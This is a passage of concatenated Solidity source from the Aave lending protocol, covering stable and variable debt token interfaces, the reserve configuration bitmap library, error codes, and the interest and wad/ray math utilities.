0.6.12; import {IInitializableDebtToken} from './IInitializableDebtToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IStableDebtToken * @notice Defines the interface for the stable debt token * @dev It does not inherit from IERC20 to save in code size * @author Aave **/ interface IStableDebtToken is IInitializableDebtToken { /** * @dev Emitted when new stable debt is minted * @param user The address of the user who triggered the minting * @param onBehalfOf The recipient of stable debt tokens * @param amount The amount minted * @param currentBalance The current balance of the user * @param balanceIncrease The increase in balance since the last action of the user * @param newRate The rate of the debt after the minting * @param avgStableRate The new average stable rate after the minting * @param newTotalSupply The new total supply of the stable debt token after the action **/ event Mint( address indexed user, address indexed onBehalfOf, uint256 amount, uint256 currentBalance, uint256 balanceIncrease, uint256 newRate, uint256 avgStableRate, uint256 newTotalSupply ); /** * @dev Emitted when new stable debt is burned * @param user The address of the user * @param amount The amount being burned * @param currentBalance The current balance of the user * @param balanceIncrease The the increase in balance since the last action of the user * @param avgStableRate The new average stable rate after the burning * @param newTotalSupply The new total supply of the stable debt token after the action **/ event Burn( address indexed user, uint256 amount, uint256 currentBalance, uint256 balanceIncrease, uint256 avgStableRate, uint256 newTotalSupply ); /** * @dev Mints debt token to the `onBehalfOf` address. * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt tokens to mint * @param rate The rate of the debt being minted **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external returns (bool); /** * @dev Burns debt of `user` * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address of the user getting his debt burned * @param amount The amount of debt tokens getting burned **/ function burn(address user, uint256 amount) external; /** * @dev Returns the average rate of all the stable rate loans. * @return The average stable rate **/ function getAverageStableRate() external view returns (uint256); /** * @dev Returns the stable rate of the user debt * @return The stable rate of the user **/ function getUserStableRate(address user) external view returns (uint256); /** * @dev Returns the timestamp of the last update of the user * @return The timestamp **/ function getUserLastUpdated(address user) external view returns (uint40); /** * @dev Returns the principal, the total supply and the average stable rate **/ function getSupplyData() external view returns ( uint256, uint256, uint256, uint40 ); /** * @dev Returns the timestamp of the last update of the total supply * @return The timestamp **/ function getTotalSupplyLastUpdated() external view returns (uint40); /** * @dev Returns the total supply and the average stable rate **/ function getTotalSupplyAndAvgRate() external view returns (uint256, uint256); /** * @dev Returns the principal debt balance of the user * @return The debt balance of the user since the last burn/mint action **/ function principalBalanceOf(address user) external view returns (uint256); /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from './ILendingPool.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IInitializableDebtToken * @notice Interface for the initialize function common between debt tokens * @author Aave **/ interface IInitializableDebtToken { /** * @dev Emitted when a debt token is initialized * @param underlyingAsset The address of the underlying asset * @param pool The address of the associated lending pool * @param incentivesController The address of the incentives controller for this aToken * @param debtTokenDecimals the decimals of the debt token * @param debtTokenName the name of the debt token * @param debtTokenSymbol the symbol of the debt token * @param params A set of encoded parameters for additional initialization **/ event Initialized( address indexed underlyingAsset, address indexed pool, address incentivesController, uint8 debtTokenDecimals, string debtTokenName, string debtTokenSymbol, bytes params ); /** * @dev Initializes the debt token. * @param pool The address of the lending pool where this aToken will be used * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendingPool pool, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol, bytes calldata params ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IScaledBalanceToken} from './IScaledBalanceToken.sol'; import {IInitializableDebtToken} from './IInitializableDebtToken.sol'; import {IAaveIncentivesController} from './IAaveIncentivesController.sol'; /** * @title IVariableDebtToken * @author Aave * @notice Defines the basic interface for a variable debt token. **/ interface IVariableDebtToken is IScaledBalanceToken, IInitializableDebtToken { /** * @dev Emitted after the mint action * @param from The address performing the mint * @param onBehalfOf The address of the user on which behalf minting has been performed * @param value The amount to be minted * @param index The last index of the reserve **/ event Mint(address indexed from, address indexed onBehalfOf, uint256 value, uint256 index); /** * @dev Mints debt token to the `onBehalfOf` address * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted when variable debt is burnt * @param user The user which debt has been burned * @param amount The amount of debt being burned * @param index The index of the user **/ event Burn(address indexed user, uint256 amount, uint256 index); /** * @dev Burns user variable debt * @param user The user which debt is burnt * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external; /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IAaveIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IReserveInterestRateStrategyInterface interface * @dev Interface for the calculation of the interest rates * @author Aave */ interface IReserveInterestRateStrategy { function baseVariableBorrowRate() external view returns (uint256); function getMaxVariableBorrowRate() external view returns (uint256); function calculateInterestRates( address reserve, uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view returns ( uint256, uint256, uint256 ); function calculateInterestRates( address reserve, address aToken, uint256 liquidityAdded, uint256 liquidityTaken, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view returns ( uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */ library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant LIQUIDATION_BONUS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFF; // prettier-ignore uint256 constant DECIMALS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00FFFFFFFFFFFF; // prettier-ignore uint256 constant ACTIVE_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFF; // prettier-ignore uint256 constant FROZEN_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFFFFFFFF; // prettier-ignore uint256 constant BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFFFFFFFFFFFFF; // prettier-ignore uint256 constant STABLE_BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFFFFF; // prettier-ignore uint256 constant RESERVE_FACTOR_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFFFFFFFFFF; // prettier-ignore /// @dev For the LTV, the start bit is 0 (up to 15), hence no bitshifting is needed uint256 constant LIQUIDATION_THRESHOLD_START_BIT_POSITION = 16; uint256 constant LIQUIDATION_BONUS_START_BIT_POSITION = 32; uint256 constant RESERVE_DECIMALS_START_BIT_POSITION = 48; uint256 constant IS_ACTIVE_START_BIT_POSITION = 56; uint256 constant IS_FROZEN_START_BIT_POSITION = 57; uint256 constant BORROWING_ENABLED_START_BIT_POSITION = 58; uint256 constant STABLE_BORROWING_ENABLED_START_BIT_POSITION = 59; uint256 constant RESERVE_FACTOR_START_BIT_POSITION = 64; uint256 constant MAX_VALID_LTV = 65535; uint256 constant MAX_VALID_LIQUIDATION_THRESHOLD = 65535; uint256 constant MAX_VALID_LIQUIDATION_BONUS = 65535; uint256 constant MAX_VALID_DECIMALS = 255; uint256 constant MAX_VALID_RESERVE_FACTOR = 65535; /** * @dev Sets the Loan to Value of the reserve * @param self The reserve configuration * @param ltv the new ltv **/ function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure { require(ltv <= MAX_VALID_LTV, Errors.RC_INVALID_LTV); self.data = (self.data & LTV_MASK) | ltv; } /** * @dev Gets the Loan to Value of the reserve * @param self The reserve configuration * @return The loan to value **/ function getLtv(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return self.data & ~LTV_MASK; } /** * @dev Sets the liquidation threshold of the reserve * @param self The reserve configuration * @param threshold The new liquidation threshold **/ function setLiquidationThreshold(DataTypes.ReserveConfigurationMap memory self, uint256 threshold) internal pure { require(threshold <= MAX_VALID_LIQUIDATION_THRESHOLD, Errors.RC_INVALID_LIQ_THRESHOLD); self.data = (self.data & LIQUIDATION_THRESHOLD_MASK) | (threshold << LIQUIDATION_THRESHOLD_START_BIT_POSITION); } /** * @dev Gets the liquidation threshold of the reserve * @param self The reserve configuration * @return The liquidation threshold **/ function getLiquidationThreshold(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION; } /** * @dev Sets the liquidation bonus of the reserve * @param self The reserve configuration * @param bonus The new liquidation bonus **/ function setLiquidationBonus(DataTypes.ReserveConfigurationMap memory self, uint256 bonus) internal pure { require(bonus <= MAX_VALID_LIQUIDATION_BONUS, Errors.RC_INVALID_LIQ_BONUS); self.data = (self.data & LIQUIDATION_BONUS_MASK) | (bonus << LIQUIDATION_BONUS_START_BIT_POSITION); } /** * @dev Gets the liquidation bonus of the reserve * @param self The reserve configuration * @return The liquidation bonus **/ function getLiquidationBonus(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION; } /** * @dev Sets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @param decimals The decimals **/ function setDecimals(DataTypes.ReserveConfigurationMap memory self, uint256 decimals) internal pure { require(decimals <= MAX_VALID_DECIMALS, Errors.RC_INVALID_DECIMALS); self.data = (self.data & DECIMALS_MASK) | (decimals << RESERVE_DECIMALS_START_BIT_POSITION); } /** * @dev Gets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @return The decimals of the asset **/ function getDecimals(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION; } /** * @dev Sets the active state of the reserve * @param self The reserve configuration * @param active The active state **/ function setActive(DataTypes.ReserveConfigurationMap memory self, bool active) internal pure { self.data = (self.data & ACTIVE_MASK) | (uint256(active ? 1 : 0) << IS_ACTIVE_START_BIT_POSITION); } /** * @dev Gets the active state of the reserve * @param self The reserve configuration * @return The active state **/ function getActive(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~ACTIVE_MASK) != 0; } /** * @dev Sets the frozen state of the reserve * @param self The reserve configuration * @param frozen The frozen state **/ function setFrozen(DataTypes.ReserveConfigurationMap memory self, bool frozen) internal pure { self.data = (self.data & FROZEN_MASK) | (uint256(frozen ? 1 : 0) << IS_FROZEN_START_BIT_POSITION); } /** * @dev Gets the frozen state of the reserve * @param self The reserve configuration * @return The frozen state **/ function getFrozen(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~FROZEN_MASK) != 0; } /** * @dev Enables or disables borrowing on the reserve * @param self The reserve configuration * @param enabled True if the borrowing needs to be enabled, false otherwise **/ function setBorrowingEnabled(DataTypes.ReserveConfigurationMap memory self, bool enabled) internal pure { self.data = (self.data & BORROWING_MASK) | (uint256(enabled ? 1 : 0) << BORROWING_ENABLED_START_BIT_POSITION); } /** * @dev Gets the borrowing state of the reserve * @param self The reserve configuration * @return The borrowing state **/ function getBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~BORROWING_MASK) != 0; } /** * @dev Enables or disables stable rate borrowing on the reserve * @param self The reserve configuration * @param enabled True if the stable rate borrowing needs to be enabled, false otherwise **/ function setStableRateBorrowingEnabled( DataTypes.ReserveConfigurationMap memory self, bool enabled ) internal pure { self.data = (self.data & STABLE_BORROWING_MASK) | (uint256(enabled ? 1 : 0) << STABLE_BORROWING_ENABLED_START_BIT_POSITION); } /** * @dev Gets the stable rate borrowing state of the reserve * @param self The reserve configuration * @return The stable rate borrowing state **/ function getStableRateBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~STABLE_BORROWING_MASK) != 0; } /** * @dev Sets the reserve factor of the reserve * @param self The reserve configuration * @param reserveFactor The reserve factor **/ function setReserveFactor(DataTypes.ReserveConfigurationMap memory self, uint256 reserveFactor) internal pure { require(reserveFactor <= MAX_VALID_RESERVE_FACTOR, Errors.RC_INVALID_RESERVE_FACTOR); self.data = (self.data & RESERVE_FACTOR_MASK) | (reserveFactor << RESERVE_FACTOR_START_BIT_POSITION); } /** * @dev Gets the reserve factor of the reserve * @param self The reserve configuration * @return The reserve factor **/ function getReserveFactor(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION; } /** * @dev Gets the configuration flags of the reserve * @param self The reserve configuration * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled **/ function getFlags(DataTypes.ReserveConfigurationMap storage self) internal view returns ( bool, bool, bool, bool ) { uint256 dataLocal = self.data; return ( (dataLocal & ~ACTIVE_MASK) != 0, (dataLocal & ~FROZEN_MASK) != 0, (dataLocal & ~BORROWING_MASK) != 0, (dataLocal & ~STABLE_BORROWING_MASK) != 0 ); } /** * @dev Gets the configuration paramters of the reserve * @param self The reserve configuration * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals **/ function getParams(DataTypes.ReserveConfigurationMap storage self) internal view returns ( uint256, uint256, uint256, uint256, uint256 ) { uint256 dataLocal = self.data; return ( dataLocal & ~LTV_MASK, (dataLocal & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION, (dataLocal & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION, (dataLocal & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION, (dataLocal & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION ); } /** * @dev Gets the configuration paramters of the reserve from a memory object * @param self The reserve configuration * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals **/ function getParamsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( uint256, uint256, uint256, uint256, uint256 ) { return ( self.data & ~LTV_MASK, (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION, (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION, (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION, (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION ); } /** * @dev Gets the configuration flags of the reserve from a memory object * @param self The reserve configuration * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled **/ function getFlagsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( bool, bool, bool, bool ) { return ( (self.data & ~ACTIVE_MASK) != 0, (self.data & ~FROZEN_MASK) != 0, (self.data & ~BORROWING_MASK) != 0, (self.data & ~STABLE_BORROWING_MASK) != 0 ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title Errors library * @author Aave * @notice Defines the error messages emitted by the different contracts of the Aave protocol * @dev Error messages prefix glossary: * - VL = ValidationLogic * - MATH = Math libraries * - CT = Common errors between tokens (AToken, VariableDebtToken and StableDebtToken) * - AT = AToken * - SDT = StableDebtToken * - VDT = VariableDebtToken * - LP = LendingPool * - LPAPR = LendingPoolAddressesProviderRegistry * - LPC = LendingPoolConfiguration * - RL = ReserveLogic * - LPCM = LendingPoolCollateralManager * - P = Pausable */ library Errors { //common errors string public constant CALLER_NOT_POOL_ADMIN = '33'; // 'The caller must be the pool admin' string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small //contract specific errors string public constant VL_INVALID_AMOUNT = '1'; // 'Amount must be greater than 0' string public constant VL_NO_ACTIVE_RESERVE = '2'; // 'Action requires an active reserve' string public constant VL_RESERVE_FROZEN = '3'; // 'Action cannot be performed because the reserve is frozen' string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = '4'; // 'The current liquidity is not enough' string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // 'User cannot withdraw more than the available balance' string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // 'Transfer cannot be allowed.' string public constant VL_BORROWING_NOT_ENABLED = '7'; // 'Borrowing is not enabled' string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // 'Invalid interest rate mode selected' string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // 'The collateral balance is 0' string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // 'Health factor is lesser than the liquidation threshold' string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // 'There is not enough collateral to cover a new borrow' string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // 'The requested amount is greater than the max loan size in stable rate mode string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // 'for repayment of stable debt, the user needs to have stable debt, otherwise, he needs to have variable debt' string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // 'To repay on behalf of an user an explicit amount to repay is needed' string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // 'User does not have a stable rate loan in progress on this reserve' string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // 'User does not have a variable rate loan in progress on this reserve' string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // 'The underlying balance needs to be greater than 0' string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // 'User deposit is already being used as collateral' string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = '21'; // 'User does not have any stable rate loan for this reserve' string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // 'Interest rate rebalance conditions were not met' string public constant LP_LIQUIDATION_CALL_FAILED = '23'; // 'Liquidation call failed' string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = '24'; // 'There is not enough liquidity available to borrow' string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = '25'; // 'The requested amount is too small for a FlashLoan.' string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = '26'; // 'The actual balance of the protocol is inconsistent' string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // 'The caller of the function is not the lending pool configurator' string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = '28'; string public constant CT_CALLER_MUST_BE_LENDING_POOL = '29'; // 'The caller of this function must be a lending pool' string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = '30'; // 'User cannot give allowance to himself' string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = '31'; // 'Transferred amount needs to be greater than zero' string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // 'Reserve has already been initialized' string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = '35'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = '36'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = '37'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '38'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '39'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = '40'; // 'The liquidity of the reserve needs to be 0' string public constant LPC_INVALID_CONFIGURATION = '75'; // 'Invalid risk parameters for the reserve' string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = '76'; // 'The caller must be the emergency admin' string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // 'Provider is not registered' string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // 'Health factor is not below the threshold' string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // 'The collateral chosen cannot be liquidated' string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // 'User did not borrow the specified currency' string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // "There isn't enough liquidity available to liquidate" string public constant LPCM_NO_ERRORS = '46'; // 'No errors' string public constant LP_INVALID_FLASHLOAN_MODE = '47'; //Invalid flashloan mode selected string public constant MATH_MULTIPLICATION_OVERFLOW = '48'; string public constant MATH_ADDITION_OVERFLOW = '49'; string public constant MATH_DIVISION_BY_ZERO = '50'; string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128 string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128 string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128 string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128 string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128 string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint string public constant LP_FAILED_REPAY_WITH_COLLATERAL = '57'; string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn string public constant LP_FAILED_COLLATERAL_SWAP = '60'; string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = '61'; string public constant LP_REENTRANCY_NOT_ALLOWED = '62'; string public constant LP_CALLER_MUST_BE_AN_ATOKEN = '63'; string public constant LP_IS_PAUSED = '64'; // 'Pool is paused' string public constant LP_NO_MORE_RESERVES_ALLOWED = '65'; string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66'; string public constant RC_INVALID_LTV = '67'; string public constant RC_INVALID_LIQ_THRESHOLD = '68'; string public constant RC_INVALID_LIQ_BONUS = '69'; string public constant RC_INVALID_DECIMALS = '70'; string public constant RC_INVALID_RESERVE_FACTOR = '71'; string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72'; string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73'; string public constant LP_INCONSISTENT_PARAMS_LENGTH = '74'; string public constant UL_INVALID_INDEX = '77'; string public constant LP_NOT_CONTRACT = '78'; string public constant SDT_STABLE_DEBT_OVERFLOW = '79'; string public constant SDT_BURN_EXCEEDS_BALANCE = '80'; enum CollateralManagerErrors { NO_ERROR, NO_COLLATERAL_AVAILABLE, COLLATERAL_CANNOT_BE_LIQUIDATED, CURRRENCY_NOT_BORROWED, HEALTH_FACTOR_ABOVE_THRESHOLD, NOT_ENOUGH_LIQUIDITY, NO_ACTIVE_RESERVE, HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD, INVALID_EQUAL_ASSETS_TO_SWAP, FROZEN_RESERVE } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {WadRayMath} from './WadRayMath.sol'; library MathUtils { using SafeMath for uint256; using WadRayMath for uint256; /// @dev Ignoring leap years uint256 internal constant SECONDS_PER_YEAR = 365 days; /** * @dev Function to calculate the interest accumulated using a linear interest rate formula * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate linearly accumulated during the timeDelta, in ray **/ function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { //solium-disable-next-line uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp)); return (rate.mul(timeDifference) / SECONDS_PER_YEAR).add(WadRayMath.ray()); } /** * @dev Function to calculate the interest using a compounded interest rate formula * To avoid expensive exponentiation, the calculation is performed using a binomial approximation: * * (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3... * * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions * The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods * * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate compounded during the timeDelta, in ray **/ function calculateCompoundedInterest( uint256 rate, uint40 lastUpdateTimestamp, uint256 currentTimestamp ) internal pure returns (uint256) { //solium-disable-next-line uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp)); if (exp == 0) { return WadRayMath.ray(); } uint256 expMinusOne = exp - 1; uint256 expMinusTwo = exp > 2 ? exp - 2 : 0; uint256 ratePerSecond = rate / SECONDS_PER_YEAR; uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond); uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond); uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2; uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6; return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm); } /** * @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp * @param rate The interest rate (in ray) * @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated **/ function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; /** * @title WadRayMath library * @author Aave * @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits) **/ library WadRayMath { uint256 internal constant WAD = 1e18; uint256 internal constant halfWAD = WAD / 2; uint256 internal constant RAY = 1e27; uint256 internal constant halfRAY = RAY / 2; uint256 internal constant WAD_RAY_RATIO = 1e9; /** * @return One ray, 1e27 **/ function ray() internal pure returns (uint256) { return RAY; } /** * @return One wad, 1e18 **/ function wad() internal pure returns (uint256) { return WAD; } /** * @return Half ray, 1e27/2 **/ function halfRay() internal pure returns (uint256) { return halfRAY; } /** * @return Half ray, 1e18/2 **/ function halfWad() internal pure returns (uint256) { return halfWAD; } /** * @dev Multiplies two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a*b, in wad **/ function wadMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfWAD) / WAD; } /** * @dev Divides two wad, rounding half up to the nearest wad * @param a Wad * @param b Wad * @return The result of a/b, in wad **/ function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * WAD + halfB) / b; } /** * @dev Multiplies two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a*b, in ray **/ function rayMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } require(a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * b + halfRAY) / RAY; } /** * @dev Divides two ray, rounding half up to the nearest ray * @param a Ray * @param b Ray * @return The result of a/b, in ray **/ function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfB = b / 2; require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW); return (a * RAY + halfB) / b; } /** * @dev Casts ray down to wad * @param a Ray * @return a casted to wad, rounded half up to the nearest wad **/ function rayToWad(uint256 a) internal pure returns (uint256) { uint256 halfRatio = WAD_RAY_RATIO 